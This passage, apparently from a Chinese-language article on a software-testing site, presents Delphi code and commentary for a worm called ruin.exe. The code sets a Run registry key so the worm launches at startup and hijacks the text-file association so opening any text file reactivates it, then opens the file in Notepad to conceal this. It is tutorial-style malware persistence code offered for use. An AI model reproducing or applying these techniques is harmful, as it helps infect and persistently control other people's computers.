RegSetvalueEx(Hk,‘‘,0,REG_SZ,@value,17);
//把virus_ruin.exe和文本文件關聯
RegOpenKey(HKEY_LOCAL_MACHINE,‘Software/Microsoft/Windows/CurrentVersion/Run‘,Hk);
value:=‘ruin.exe‘;
RegSetvalueEx(Hk,‘ruin‘,0,REG_SZ,@value,8);
//設置開機自動運行ruin.exe
end;
我們看上面的這個程序,就完成了自我復制,和開機自動運行,并且關聯了文本文件,這樣,如果run下的鍵被刪除,那么他打開文本文件,蠕蟲文件又被激活。
不過這個樣子,你就需要在你的主程序里面進行判斷,如果傳遞的參數等于1 ,則打開該文本,并且進行自我保護。
如:
begin
if paramcount=1 then
shellexecute(0,‘open‘,‘notepad.exe‘,pchar(paramstr(1)),nil,sw_normal);
延伸閱讀
文章來源于領測軟件測試網 http://www.kjueaiud.com/